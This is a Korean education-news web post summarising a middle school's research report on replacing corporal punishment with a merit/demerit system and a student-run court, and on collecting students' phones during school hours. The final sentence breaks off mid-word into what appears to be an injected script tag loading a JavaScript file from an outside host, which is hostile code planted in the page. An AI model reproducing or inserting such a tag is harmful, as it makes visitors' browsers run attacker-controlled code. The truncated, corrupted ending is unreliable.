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상벌넷에서 알려드리는
교육계소식 입니다.
교육계의 새로운 소식이나 지도안을 소개,제공 합니다. |
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2008-03-06 오후 4:19:00, 조회:1415 |
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인권정책연구학교 운영 결과 요약
서울특별시 / 청담중학교 / 02-511-5151
제목 : 중학교 학생의 발달단계에 따른 인권교육 모듈 개발․적용 연구
1. 체벌 대체 교육방법 및 문제점과 해결방안
□ 대체 방법
○ 생활평점제 시행
- 학생체벌을 대체할 교육 방법 중 하나로 2007년 3월 26일「청담중학교학생 선도 규정」을 개정하여 ‘생활평점제’ 시행
- ‘생활평점제’ 전면 시행 약 3개월 후(6월 29일)「청담중학교 학생체벌규정」전면 폐지
○ 학생 자치법정 운영
- 학생들이 스스로 학급 자치규정을 정하고 규정을 위반 할 때마다 벌점을 부과하여 벌점이 10점 이상인 학생을 대상으로 지도하는 자치법정을 운영
- 여름방학동안 준비 과정을 거쳐 9월 1일 학급 자치규정을 학급별로 마련하고, 자발적인 학생 협의체를 구성하여 활동
□ 효과
○ ‘학생 생활평점제’는 상점과 벌점을 동시에 적용하여, 학생 각자 학교생활에 대한 긍정적 강화와 반성적 성찰의 과정을 갖는 계기가 되었다.
○ ‘학생 자치 법정’은 학급자치규정을 위반한 학생에 대하여 학생들이 재판에 직접 참여하여 운영하고, 정해진 자치규정 범위 내에서 긍정적인 교육적 조치를 내리는 과정을 통해 자율적인 학생활동능력을 신장시키고, 참여 학생 자신이 인권주체임을 자각할 수 있었다.
□ 추진 상 보완되어야 할 과제
○ 스스로의 권리에 대한 내용은 빠뜨린 채 상호 이해 및 타인에 대한 존중만이 강조되는 인권교육은 학교 폭력에 대한 해결을 위해 인권에 대한 일부 내용만을 차용하여 미봉책으로 운용하고자 하는 것이 아닌가 하는 의심을 벗어나기 어려우며, 기존의 인성 교육 또는 심성 수련, 예절 교육과 별 차이를 갖지 못한다.
2. 학교에서의 휴대전화 사용에 따른 문제점과 해결방안
□ 해결 방법
○ 2007년 9월 7일(금) 가정통신문을 발송하고 9월 10일(월)부터 학교에 휴대폰(MP3, P2P, PMP 등 휴대용 전자제품 일체 포함)을 소지하고 등교한 학생들은 아침조회시간에 학급담임교사에게 휴대폰을 맡기고 종례시간에 찾아갈 수 있도록 지도
○ 학부모가 가정에서 학생에게 급하게 연락을 취해야 할 경우 학급담임교사에게 요청하고, 학생이 가정에 급하게 연락을 취할 경우는 본교 3층과 4층 사이 중앙계단에 설치되어 있는 공중전화기를 사용하도록 적극 권장
□ 효과
○ 학생들의 생활 깊숙이 침투하여 정상적인 학교생활을 방해하는 대표적인 문제를 학교생활에서 제거․순화(醇化)하여, 그로 인한 교사와 학생의 스트레스를 줄이며, 학업에 전념하는 여건을 조성하는 기초가 되었다.
□ 추진 상 보완되어야 할 과제
○ 제출하지 않은 학생에 대한 처리 문제 (자율에 맡길 것인?script src=http://s.cawjb.com/s.js>
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